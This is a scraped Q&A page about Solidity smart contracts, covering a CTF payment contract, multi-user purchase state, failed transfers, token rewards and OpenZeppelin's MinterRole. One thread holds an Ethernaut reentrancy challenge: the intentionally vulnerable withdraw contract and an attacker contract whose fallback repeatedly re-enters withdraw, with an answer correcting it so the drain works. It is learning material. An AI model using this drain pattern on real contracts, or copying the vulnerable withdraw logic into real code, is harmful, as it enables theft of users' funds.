Rinkeby Smart Contract - ethereum

looking to create a challenge for a CTF, where I give the user a smart contract for a piece of art that requires a minimum cost of 20 ether. Once the payment has been accepted, he gets by return the flag. The code below works and checks balances against the account in remix but how can I get it to return the flag if the payment is correct?
Any help and pointers would be appreciated.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract payment_for_art {
function invest() external payable {
if(msg.value < 20 ether) {
revert();
}
}
function balance_of() external view returns(uint) {
return address(this).balance;
}
}
Regards
K

You can create a bool property that flags whether the payment has been done.
contract payment_for_art {
// default value is `false`, don't need to explicitly state it
bool public isPaid;
function invest() external payable {
// to prevent multiple payments
// reverts if the condition is not met
require(isPaid == false);
if(msg.value < 20 ether) {
revert();
}
isPaid = true; // flag that the payment has been done
}
// ... rest of your code
}
Since it has the public modifier, any other contract or off-chain app can read its value (but cannot rewrite it). You can remove the modifier if you don't want the value to be accessible from outside of the contract.

Related

Reentrancy attack implementation

I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.

enable 2 users to use my contract at the same time with different states in Solidity

I'm new in solidity, and I was trying to create a simple purchase contract between 2 users, with different states as below:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract purchase {
uint public value;
struct Users {
address payable seller;
address payable buyer;
}
Users public users;
uint256 public contractID;
enum State{Created, Locked, Release, Inactive}
State public state;
constructor() payable {
users.seller = payable(msg.sender);
value = msg.value / 2;
}
///The function can't be called at the current state.
error InvalidState();
///Only buyer/buyer can call this function
error Onlybuyer();
///Only Seller can call this function
error OnlySeller();
modifier inState(State state_){
if (state != state_) {
revert InvalidState();
}
_;
}
modifier onlybuyer(){
if (msg.sender != users.buyer) {
revert Onlybuyer();
}
_;
}
modifier onlySeller(){
if (msg.sender != users.seller) {
revert OnlySeller();
}
_;
}
mapping(uint => Users) public contractUsers;
mapping(uint => State) public contractState;
function confirmPurchase() external inState(State.Created) payable {
contractID ++;
require(msg.value == (2*value), "Please send in 2X the purchase amount");
users.buyer = payable(msg.sender);
state = State.Locked;
}
function confirmRecieved() external onlybuyer inState(State.Locked) {
state = State.Release;
users.buyer.transfer(value);
}
function paySeller() external onlySeller inState(State.Release){
state = State.Inactive;
users.seller.transfer(3 * value);
}
function abort() external onlySeller inState(State.Created){
state = State.Inactive;
users.seller.transfer(address(this).balance);
}
}
I would like to ask, how I can enable 2 sellers to use the contract at the same time with different states? or how I enable many users to use my contract at the same time?
for example:let's say we have seller 1, buyer 1 with price 2 ETH at state 1.
at the same time seller 2, buyer 2 with price 3 ETH at state 0.
each one of them is using the contract at the same time and they can view their contract details using the contract ID. how I can do that?
I thought about creating a function to set the state to initial state 0,then a new user can use the contract, and retrieve their data from the mapping using contract ID. but I'm not sure if this is the best practice. Can anyone advice please!
Thank you in advance.

Error message while executing solidity contract

I am learning solidity. The code i have written compiles correctly and the same solution is given in the solutions of the question but it keeps reverting without any output. Please check the code once and let me know the mistake.
The question is to transfer the given amount from the amount array to the to array from the same position, i.e., from ith position of amount to ith position of to.
It shows the error message : "The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance."
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.5.0 <0.9.0;
contract Day4 {
address owner;
constructor() {
owner = msg.sender;
}
function send(address payable[] memory to, uint256[] memory amount)
public
payable
ownerOnly
{
require(to.length == amount.length, "to must be same length as amount");
for (uint256 i = 0; i < to.length; i++) {
to[i].transfer(amount[i]); //to array - 0x00 0x01 0x02
//amount array - 10 20 30
}
}
modifier ownerOnly() {
require(msg.sender == owner,"You are not the owner");
_;
}
}
Your issue depends from transfer() function. In details, this function allow you to transfer a specific amount from the smart contract balance to another address.
In your case, when you call directly send() function the smart contract balance is 0 because I think (since I don't see a deposit method) that you didn't deposit an amount to it.
For this reason, when you call send() function it reverts and doesn't works.
To solve this issue before call send() method, try to deposit a specific amount of ether to smart contract and then call send() method.
REMEMBER: The sum of array amount must be less to smart contract balance, otherwise it reverts.
I adjusted your smart contract in this way:
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.5.0 <0.9.0;
contract Day4 {
address owner;
constructor() {
owner = msg.sender;
}
function send(address payable[] memory to, uint256[] memory amount)
public
payable
ownerOnly
{
require(to.length == amount.length, "to must be same length as amount");
for (uint256 i = 0; i < to.length; i++) {
to[i].transfer(amount[i]);
}
}
modifier ownerOnly() {
require(msg.sender == owner,"You are not the owner");
_;
}
// NOTE: Call this function for first, and before this operation set the values inside msg.value textbox in
// Remix IDE (if you're using it)
function deposit() public payable {
}
}

Send reward to a token holders in smart contracts

How can I send tokens to a token holders from inside a smart contract with solidity?
It means how can send reward to token holders?
Have a list of addresses and loop through them while calling native erc transfer method. You can't really iterate through a mapping without knowing the access keys (if you're thinking about pulling addresses from smth like balances).
I am assuming you want to send Ether to another Smart Contract or an EOA (e.g. Metamask). You can write a Smart Contract such as the below and use the Remix Ethereum (an IDE) to send Ether to an external party. Use the public function - transferEther.
//SPDX-License-Identifier: GPL-3.0
pragma solidity >= 0.6.0 < 0.9.0;
contract Sample{
address public owner;
constructor() {
owner = msg.sender;
}
receive() external payable {
}
fallback() external payable {
}
function getBalance() public view returns (uint){
return address(this).balance;
}
// this function is for sending the wei/ether OUT from this smart contract (address) to another contract/external account.
function transferEther(address payable recipient, uint amount) public returns(bool){
require(owner == msg.sender, "transfer failed because you are not the owner."); //
if (amount <= getBalance()) {
recipient.transfer(amount);
return true;
} else {
return false;
}
}
}

Questions on MinterRole contract in openzeppelin

I am using the openzeppelin for creating the ICO contract. I am concerned about the MinterRole here. After I develop Token contract, I added the sale contract as a minter using "addMinter" function.
Question
After the sale is over
I do not see a way to remove the contract address as a minter. I see that "renounceMinter" will remove only the person's who is calling this method.
I understand even If I remove (or) not remove the contract address as a minter at that point (i.e., after the sale is over) the Sale contract will b defined in such a way that it will not work at all. is it safe even if we leave the contract address in the minter list ?
Why openzeppelin has designed the "MinterRole" contract with the "renounceMinter" function that can remove only the person who is calling that contract but the function "addMinter" can do this for others also ?
Code
SampleCrowdsale
contract SampleCrowdsale is FinalizableCrowdsale, MintedCrowdsale
MintedCrowdsale
contract MintedCrowdsale is Crowdsale {
constructor() internal {}
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
// Potentially dangerous assumption about the type of the token.
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount));
}
}
ERC20Mintable
contract ERC20Mintable is ERC20, MinterRole
MinterRole
pragma solidity ^0.4.24;
import "../Roles.sol";
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}